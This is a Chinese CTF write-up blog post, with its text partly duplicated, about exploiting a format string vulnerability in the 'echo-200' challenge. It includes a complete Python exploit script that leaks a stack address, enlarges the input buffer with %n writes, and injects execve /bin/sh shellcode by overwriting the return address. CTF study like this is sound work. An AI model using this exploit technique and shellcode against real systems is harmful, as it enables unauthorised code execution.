CTF-ECHO-200格式化字符串漏洞+shellcode
2017-06-01 13:20
495 查看
很开心有成功做了一道格式化字符串,这题我也不清楚是哪次比赛上的,漏洞还是十分的明显,格式化加个shellcode直接搞定。就是这算的比较麻烦一点。
那么直接进入正题咯!
开干!!
首先拿checksec检查一遍(个人习惯哈)
可以看到,开了栈保护,但是NX disabled,说明堆栈可执行,直接上shellcode,也没有PIE。
先试试水。
应该有格式化漏洞。
IDA反汇编。
格式化字符串漏洞不要太明显了呢。但是我们一次只能写入16个字节,这咋写shellcode丫。调试的时候发现。
BFCBB324的值是由BFCBB330传来的,而且BFCBB350在整个循环中没有改变,那我们就可以先通过16字节泄露出一个地址,从而来确定栈的相对位置,在来更改BFCBB330的值,从而获取更大的漏洞的利用空间,
可以看下这段代码。1FF也就是511,也就是最多可以利用511字节。这对于我们来说足够了。那么拿到栈的相对位置之后,我们就可以确定返回地址,以及各种我们想要的栈地址,
这里在算shellcode的相对位置时会比较麻烦,还要考虑下字节补足。
具体的调试过程我就不再过多的写了,对于这种题目找到漏洞后有一个利用思路就足够了,剩下的就是慢慢的调试。
贴上代码:
补充:哎,本来想着差不多写完了。但是想想对于刚接触格式化的小白来说,可能在调试的过程中会碰到许多的问题(至少我就没少遇到。)所以在这里做点补充。
1.如何leak stack的地址。
这其实是个难点,我觉得是。
如果对汇编比较了解,那么通过看汇编代码应该能看出来。否则就得细心慢慢找咯,由于栈上的地址通常以
2.另一个点,就是跳出while循环,从反汇编的代码来看,这是个死循环,无法正常跳出。但我们在调试程序的时候发现它是通过一个cmp来进行判断。如图。
咋办嘞?直接把
3.最后一个问题,可能就是如何组织栈了,建议把地址写在前面。可以参考一下我的。
完了!
那么直接进入正题咯!
开干!!
首先拿checksec检查一遍(个人习惯哈)
可以看到,开了栈保护,但是NX disabled,说明堆栈可执行,直接上shellcode,也没有PIE。
先试试水。
应该有格式化漏洞。
IDA反汇编。
格式化字符串漏洞不要太明显了呢。但是我们一次只能写入16个字节,这咋写shellcode丫。调试的时候发现。
BFCBB324的值是由BFCBB330传来的,而且BFCBB350在整个循环中没有改变,那我们就可以先通过16字节泄露出一个地址,从而来确定栈的相对位置,在来更改BFCBB330的值,从而获取更大的漏洞的利用空间,
可以看下这段代码。1FF也就是511,也就是最多可以利用511字节。这对于我们来说足够了。那么拿到栈的相对位置之后,我们就可以确定返回地址,以及各种我们想要的栈地址,
这里在算shellcode的相对位置时会比较麻烦,还要考虑下字节补足。
具体的调试过程我就不再过多的写了,对于这种题目找到漏洞后有一个利用思路就足够了,剩下的就是慢慢的调试。
贴上代码:
from zio import * import struct target=('127.0.0.1',10000) io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) c2=raw_input('go1?') io.read_until("16") payload='%12$ud' io.writeline(payload) test=io.read_until('16') stack=int(test[7:17],10) size=stack-0x7a print hex(size) payload=l32(size) payload+='%999d' #write stack 99 payload+='%7$n' io.writeline(payload) io.read_until('Reading 511 bytes') #write shellcode tiaozhuan=size+0x8 ret=size+0x21c shell_addr=size+0x3c shell='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1'+'\x40'*11+'\x31\xd2\xcd\x80' s=len(shell) print hex(tiaozhuan) print hex(ret) print hex(s) print hex(shell_addr) len1=(shell_addr & 0x0000ffff) -0x16 -0x6 #di 4 wei len2=(shell_addr >> 16) - (shell_addr & 0x0000ffff) #gao 4 wei payload=l32(tiaozhuan)+l32(ret)+l32(ret+0x2) payload+='%16x'+'%7$n' payload+='%'+str(len1)+'x'+'%8$hn' payload+='%'+str(len2)+'x'+'%9$hn' x=len(str(len1)) y=len(str(len2)) print 'x:'+hex(x) print 'y:'+hex(y) payload+='a'*(6-x)+'a'*(6-y+2) + shell io.writeline(payload) io.writeline('cat flag') io.interact()
补充:哎,本来想着差不多写完了。但是想想对于刚接触格式化的小白来说,可能在调试的过程中会碰到许多的问题(至少我就没少遇到。)所以在这里做点补充。
1.如何leak stack的地址。
这其实是个难点,我觉得是。
io.read_until("16") payload='%12$ud' io.writeline(payload) test=io.read_until('16') stack=int(test[7:17],10) size=stack-0x7a print hex(size)
如果对汇编比较了解,那么通过看汇编代码应该能看出来。否则就得细心慢慢找咯,由于栈上的地址通常以
0xba123344这种,对应十进制的长度就应该是10位,所以用
int(test[7:17],10),当然又可以用16进制leak。。不知道有没有讲清楚。汗!
2.另一个点,就是跳出while循环,从反汇编的代码来看,这是个死循环,无法正常跳出。但我们在调试程序的时候发现它是通过一个cmp来进行判断。如图。
咋办嘞?直接把
[esp+18h]给改了就行了。
3.最后一个问题,可能就是如何组织栈了,建议把地址写在前面。可以参考一下我的。
完了!
相关文章推荐
- ISCC2017 pwn 200 —— 字符串格式化漏洞
- 格式化字符串漏洞利用 七、工具
- 格式化字符串漏洞利用 四、利用的变体
- [置顶] 安全漏洞--字符串格式化(FSV)漏洞分析
- Linux Kernel ext3消息记录格式化字符串漏洞
- shellcode之四:格式化串漏洞
- 格式化字符串漏洞
- Linux kernel ‘b43_request_firmware’函数格式化字符串漏洞
- 格式化字符串漏洞实验
- Linux kernel ‘register_disk’函数格式化字符串漏洞
- [转载]格式化字符串漏洞实验
- Shellcode笔记 | 格式化串漏洞
- 格式化字符串漏洞攻击
- 格式化字符串漏洞利用 二、格式化函数
- 格式化字符串漏洞利用 一、引言
- 格式化字符串漏洞执行任意代码分析
- ISCC之pwn1格式化字符串漏洞详解!
- 某道Pwn(格式化字符串漏洞)
- Linux 格式化字符串漏洞利用
- 格式化字符串漏洞利用 五、爆破